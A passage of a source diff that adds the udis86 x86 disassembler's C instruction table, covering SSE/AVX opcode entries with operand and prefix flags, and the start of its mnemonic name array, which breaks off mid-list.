O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1598 */ { UD_Iphsubw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1599 */ { UD_Ivphsubw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1600 */ { UD_Iphsubd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1601 */ { UD_Iphsubd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1602 */ { UD_Ivphsubd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1603 */ { UD_Iphsubsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1604 */ { UD_Iphsubsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1605 */ { UD_Ivphsubsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1606 */ { UD_Ipsignb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1607 */ { UD_Ipsignb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1608 */ { UD_Ivpsignb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1609 */ { UD_Ipsignd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1610 */ { UD_Ipsignd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1611 */ { UD_Ivpsignd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1612 */ { UD_Ipsignw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1613 */ { UD_Ipsignw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1614 */ { UD_Ivpsignw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1615 */ { UD_Ipmulhrsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1616 */ { UD_Ipmulhrsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1617 */ { UD_Ivpmulhrsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1618 */ { UD_Ipalignr, O_P, O_Q, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1619 */ { UD_Ipalignr, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1620 */ { UD_Ivpalignr, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1621 */ { UD_Ipblendvb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1622 */ { UD_Ipmuldq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1623 */ { UD_Ivpmuldq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1624 */ { UD_Ipminsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1625 */ { UD_Ivpminsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1626 */ { UD_Ipminsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1627 */ { UD_Ivpminsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1628 */ { UD_Ipminuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1629 */ { UD_Ivpminuw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1630 */ { UD_Ipminud, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1631 */ { UD_Ivpminud, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1632 */ { UD_Ipmaxsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1633 */ { UD_Ivpmaxsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1634 */ { UD_Ipmaxsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1635 */ { UD_Ivpmaxsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1636 */ { UD_Ipmaxud, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1637 */ { UD_Ivpmaxud, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1638 */ { UD_Ipmaxuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1639 */ { UD_Ivpmaxuw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1640 */ { UD_Ipmulld, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1641 */ { UD_Ivpmulld, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1642 */ { UD_Iphminposuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1643 */ { UD_Ivphminposuw, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1644 */ { UD_Iroundps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1645 */ { UD_Ivroundps, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1646 */ { UD_Iroundpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1647 */ { UD_Ivroundpd, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1648 */ { UD_Iroundss, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1649 */ { UD_Ivroundss, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1650 */ { UD_Iroundsd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1651 */ { UD_Ivroundsd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1652 */ { UD_Iblendpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1653 */ { UD_Ivblendpd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1654 */ { UD_Iblendps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1655 */ { UD_Ivblendps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1656 */ { UD_Iblendvpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1657 */ { UD_Iblendvps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1658 */ { UD_Ibound, O_Gv, O_M, O_NONE, O_NONE, P_aso|P_oso }, + /* 1659 */ { UD_Ibsf, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1660 */ { UD_Ibsr, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1661 */ { UD_Ibswap, O_R0y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1662 */ { UD_Ibswap, O_R1y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1663 */ { UD_Ibswap, O_R2y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1664 */ { UD_Ibswap, O_R3y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1665 */ { UD_Ibswap, O_R4y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1666 */ { UD_Ibswap, O_R5y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1667 */ { UD_Ibswap, O_R6y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1668 */ { UD_Ibswap, O_R7y, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1669 */ { UD_Ibt, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1670 */ { UD_Ibt, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1671 */ { UD_Ibtc, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1672 */ { UD_Ibtc, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1673 */ { UD_Ibtr, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1674 */ { UD_Ibtr, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1675 */ { UD_Ibts, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1676 */ { UD_Ibts, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1677 */ { UD_Ipblendw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1678 */ { UD_Ivpblendw, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1679 */ { UD_Impsadbw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1680 */ { UD_Ivmpsadbw, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1681 */ { UD_Imovntdqa, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1682 */ { UD_Ivmovntdqa, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb|P_vexl }, + /* 1683 */ { UD_Ipackusdw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1684 */ { UD_Ivpackusdw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb|P_vexl }, + /* 1685 */ { UD_Ipmovsxbw, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1686 */ { UD_Ivpmovsxbw, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1687 */ { UD_Ipmovsxbd, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1688 */ { UD_Ivpmovsxbd, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1689 */ { UD_Ipmovsxbq, O_V, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1690 */ { UD_Ivpmovsxbq, O_Vx, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1691 */ { UD_Ipmovsxwd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1692 */ { UD_Ivpmovsxwd, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1693 */ { UD_Ipmovsxwq, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1694 */ { UD_Ivpmovsxwq, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1695 */ { UD_Ipmovsxdq, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1696 */ { UD_Ipmovzxbw, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1697 */ { UD_Ivpmovzxbw, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1698 */ { UD_Ipmovzxbd, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1699 */ { UD_Ivpmovzxbd, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1700 */ { UD_Ipmovzxbq, O_V, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1701 */ { UD_Ivpmovzxbq, O_Vx, O_MwU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1702 */ { UD_Ipmovzxwd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1703 */ { UD_Ivpmovzxwd, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1704 */ { UD_Ipmovzxwq, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1705 */ { UD_Ivpmovzxwq, O_Vx, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1706 */ { UD_Ipmovzxdq, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1707 */ { UD_Ivpmovzxdq, O_Vx, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1708 */ { UD_Ipcmpeqq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1709 */ { UD_Ivpcmpeqq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1710 */ { UD_Ipopcnt, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1711 */ { UD_Iptest, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1712 */ { UD_Ivptest, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb|P_vexl }, + /* 1713 */ { UD_Ipcmpestri, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1714 */ { UD_Ivpcmpestri, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1715 */ { UD_Ipcmpestrm, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1716 */ { UD_Ivpcmpestrm, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1717 */ { UD_Ipcmpgtq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1718 */ { UD_Ivpcmpgtq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1719 */ { UD_Ipcmpistri, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1720 */ { UD_Ivpcmpistri, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1721 */ { UD_Ipcmpistrm, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1722 */ { UD_Ivpcmpistrm, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1723 */ { UD_Imovbe, O_Gv, O_Mv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1724 */ { UD_Imovbe, O_Mv, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1725 */ { UD_Icrc32, O_Gy, O_Eb, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1726 */ { UD_Icrc32, O_Gy, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1727 */ { UD_Ivbroadcastss, O_V, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1728 */ { UD_Ivbroadcastsd, O_Vqq, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1729 */ { UD_Ivextractf128, O_Wdq, O_Vqq, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1730 */ { UD_Ivinsertf128, O_Vqq, O_Hqq, O_Wdq, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1731 */ { UD_Ivmaskmovps, O_V, O_H, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1732 */ { UD_Ivmaskmovps, O_M, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1733 */ { UD_Ivmaskmovpd, O_V, O_H, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1734 */ { UD_Ivmaskmovpd, O_M, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1735 */ { UD_Ivpermilpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1736 */ { UD_Ivpermilpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1737 */ { UD_Ivpermilps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1738 */ { UD_Ivpermilps, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1739 */ { UD_Ivperm2f128, O_Vqq, O_Hqq, O_Wqq, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1740 */ { UD_Ivtestps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1741 */ { UD_Ivtestpd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1742 */ { UD_Ivzeroupper, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1743 */ { UD_Ivzeroall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1744 */ { UD_Ivblendvpd, O_Vx, O_Hx, O_Wx, O_Lx, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1745 */ { UD_Ivblendvps, O_Vx, O_Hx, O_Wx, O_Lx, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1746 */ { UD_Ivmovsd, O_V, O_H, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1747 */ { UD_Ivmovsd, O_V, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1748 */ { UD_Ivmovsd, O_U, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1749 */ { UD_Ivmovsd, O_Mq, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1750 */ { UD_Ivmovss, O_V, O_H, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1751 */ { UD_Ivmovss, O_V, O_Md, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1752 */ { UD_Ivmovss, O_U, O_H, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1753 */ { UD_Ivmovss, O_Md, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1754 */ { UD_Ivpblendvb, O_V, O_H, O_W, O_L, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1755 */ { UD_Ivpsllw, O_V, O_H, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1756 */ { UD_Ivpsllw, O_H, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1757 */ { UD_Ivpslld, O_V, O_H, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1758 */ { UD_Ivpslld, O_H, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1759 */ { UD_Ivpsllq, O_V, O_H, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1760 */ { UD_Ivpsllq, O_H, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, +}; + + +const char* ud_mnemonics_str[] = { + "aaa", + "aad", + "aam", + "aas", + "adc", + "add", + "addpd", + "addps", + "addsd", + "addss", + "addsubpd", + "addsubps", + "aesdec", + "aesdeclast", + "aesenc", + "aesenclast", + "aesimc", + "aeskeygenassist", + "and", + "andnpd", + "andnps", + "andpd", + "andps", + "arpl", + "blendpd", + "blendps", + "blendvpd", + "blendvps", + "bound", + "bsf", + "bsr", + "bswap", + "bt", + "btc", + "btr", + "bts", + "call", + "cbw", + "cdq", + "cdqe", + "clc", + "cld", + "clflush", + "clgi", + "cli", + "clts", + "cmc", + "cmova", + "cmovae", + "cmovb", + "cmovbe", + "cmovg", + "cmovge", + "cmovl", + "cmovle", + "cmovno", + "cmovnp", + "cmovns", + "cmovnz", + "cmovo", + "cmovp", + "cmovs", + "cmovz", + "cmp", + "cmppd", + "cmpps", + "cmpsb", + "cmpsd", + "cmpsq", + "cmpss", + "cmpsw", + "cmpxchg", + "cmpxchg16b", + "cmpxchg8b", + "comisd", + "comiss", + "cpuid", + "cqo", + "crc32", + "cvtdq2pd", + "cvtdq2ps", + "cvtpd2dq", + "cvtpd2pi", + "cvtpd2ps", + "cvtpi2pd", + "cvtpi2ps", + "cvtps2dq", + "cvtps2pd", + "cvtps2pi", + "cvtsd2si", + "cvtsd2ss", + "cvtsi2sd", + "cvtsi2ss", + "cvtss2sd", + "cvtss2si", + "cvttpd2dq", + "cvttpd2pi", + "cvttps2dq", + "cvttps2pi", + "cvttsd2si", + "cvttss2si", + "cwd", + "cwde", + "daa", + "das", + "dec", + "div", + "divpd", + "divps", + "divsd", + "divss", + "dppd", + "dpps", + "emms", + "enter", + "extractps", + "f2xm1", + "fabs", + "fadd", + "faddp", + "fbld", + "fbstp", + "fchs", + "fclex", + "fcmovb", + "fcmovbe", + "fcmove", + "fcmovnb", + "fcmovnbe", + "fcmovne", + "fcmovnu", + "fcmovu", + "fcom", + "fcom2", + "fcomi", + "fcomip", + "fcomp", + "fcomp3", + "fcomp5", + "fcompp", + "fcos", + "fdecstp", + "fdiv", + "fdivp", + "fdivr", + "fdivrp", + "femms", + "ffree", + "ffreep", + "fiadd", + "ficom", + "ficomp", + "fidiv", + "fidivr", + "fild", + "fimul", + "fincstp", + "fist", + "fistp", + "fisttp", + "fisub", + "fisubr", + "fld", + "fld1", + "fldcw", + "fldenv", + "fldl2e", + "fldl2t", + "fldlg2", + "fldln2", + "fldpi", + "fldz", + "fmul", + "fmulp", + "fndisi", + "fneni", + "fninit", + "fnop", + "fnsave", + "fnsetpm", + "fnstcw", + "fnstenv", + "fnstsw", + "fpatan", + "fprem", + "fprem1", + "fptan", + "frndint", + "frstor", + "frstpm", + "fscale", + "fsin", + "fsincos", + "fsqrt", + "fst", + "fstp", + "fstp1", + "fstp8", + "fstp9", + "fsub", + "fsubp", + "fsubr", + "fsubrp", + "ftst", + "fucom", + "fucomi", + "fucomip", + "fucomp", + "fucompp", + "fxam", + "fxch", + "fxch4", + "fxch7", + "fxrstor", + "fxsave", + "fxtract", + "fyl2x", + "fyl2xp1", + "getsec", + "haddpd", + "haddps", + "hlt", + "hsubpd", + "hsubps", + "idiv", + "imul", + "in", + "inc", + "insb", + "insd", + "insertps", + "insw", + "int", + "int1", + "int3", + "into", + "invd", + "invept", + "invlpg", + "invlpga", + "invvpid", + "iretd", + "iretq", + "iretw", + "ja", + "jae", + "jb", + "jbe", + "jcxz", + "jecxz", + "jg", + "jge", + "jl", + "jle", + "jmp", + "jno", + "jnp", + "jns", + "jnz", + "jo", + "jp", + "jrcxz", + "js", + "jz", + "lahf", + "lar", + "lddqu", + "ldmxcsr", + "lds", + "lea", + "leave", + "les", + "lfence", + "lfs", + "lgdt", + "lgs", + "lidt", + "lldt", + "lmsw", + "lock", + "lodsb", + "lodsd", + "lodsq", + "lodsw", + "loop", + "loope", + "loopne", + "lsl", + "lss", + "ltr", + "maskmovdqu", + "maskmovq", + "maxpd", + "maxps", + "maxsd", + "maxss", + "mfence", + "minpd", + "minps", + "minsd", + "minss", + "monitor", + "montmul", + "mov", + "movapd", + "movaps", + "movbe", + "movd", + "movddup", + "movdq2q", + "movdqa", + "movdqu", + "movhlps", + "movhpd", + "movhps", + "movlhps", + "movlpd", + "movlps", + "movmskpd", + "movmskps", + "movntdq", + "movntdqa", + "movnti", + "movntpd", + "movntps", + "movntq", + "movq", + "movq2dq", + "movsb", + "movsd", + "movshdup", + "movsldup", + "movsq", + "movss", + "movsw", + "movsx", + "movsxd", + "movupd", + "movups", + "movzx", + "mpsadbw", + "mul", + "mulpd", + "mulps", + "mulsd", + "mulss", + "mwait", + "neg", + "nop", + "not", + "or", + "orpd", + "orps", + "out", + "outsb", + "outsd", + "outsw", + "pabsb", + "pabsd", + "pabsw", + "packssdw", + "packsswb", + "packusdw", + "packuswb", + "paddb", + "paddd", + "paddq", + "paddsb", + "paddsw", + "paddusb", + "paddusw", + "paddw", + "palignr", + "pand", + "pandn", + "pavgb", + "pavgusb", + "pavgw", + "pblendvb", + "pblendw", + "pclmulqdq", + "pcmpeqb", + "pcmpeqd", + "pcmpeqq", + "pcmpeqw", + "pcmpestri", + "pcmpestrm", + "pcmpgtb", + "pcmpgtd", + "pcmpgtq", + "pcmpgtw", + "pcmpistri", + "pcmpistrm", + "pextrb", + "pextrd", + "pextrq", + "pextrw", + "pf2id", + "pf2iw", + "pfacc", + "pfadd", + "pfcmpeq", + "pfcmpge", + "pfcmpgt", + "pfmax", + "pfmin", + "pfmul", + "pfnacc", + "pfpnacc", + "pfrcp", + "pfrcpit1", + "pfrcpit2", + "pfrsqit1", + "pfrsqrt", + "pfsub", + "pfsubr", + "phaddd", + "phaddsw", + "phaddw", + "phminposuw", + "phsubd", + "phsubsw", + "phsubw", + "pi2fd", + "pi2fw", + "pinsrb", + "pinsrd", + "pinsrq", + "pinsrw", + "pmaddubsw", + "pmaddwd", + "pmaxsb", + "pmaxsd", + "pmaxsw", + "pmaxub", + "pmaxud", + "pmaxuw", + "pminsb", + "pminsd", + "pminsw", + "pminub", + "pminud", + "pminuw", + "pmovmskb", + "pmovsxbd", + "pmovsxbq", + "pmovsxbw", + "pmovsxdq", + "pmovsxwd", + "pmovsxwq", + "pmovzxbd", + "pmovzxbq", + "pmovzxbw", + "pmovzxdq", + "pmovzxwd", + "pmovzxwq", + "pmuldq", + "pmulhrsw", + "pmulhrw", + "pmulhuw", + "pmulhw", + "pmulld", + "pmullw", + "pmuludq", + "pop", + "popa", + "popad", + "popcnt", + "popfd", + "popfq", + "popfw", + "por", + "prefetch", + "prefetchnta", + "prefetcht0", + "prefetcht1", + "prefetcht2", + "psadbw", + "pshufb", + "pshufd", + "pshufhw", + "pshuflw", + "pshufw", + "psignb", + "psignd", + "psignw", + "pslld", + "pslldq", + "psllq", + "psllw", + "psrad", + "psraw", + "psrld", + "psrldq", + "psrlq", + "psrlw", + "psubb", + "psubd", + "psubq", + "psubsb", + "psubsw", + "psubusb", + 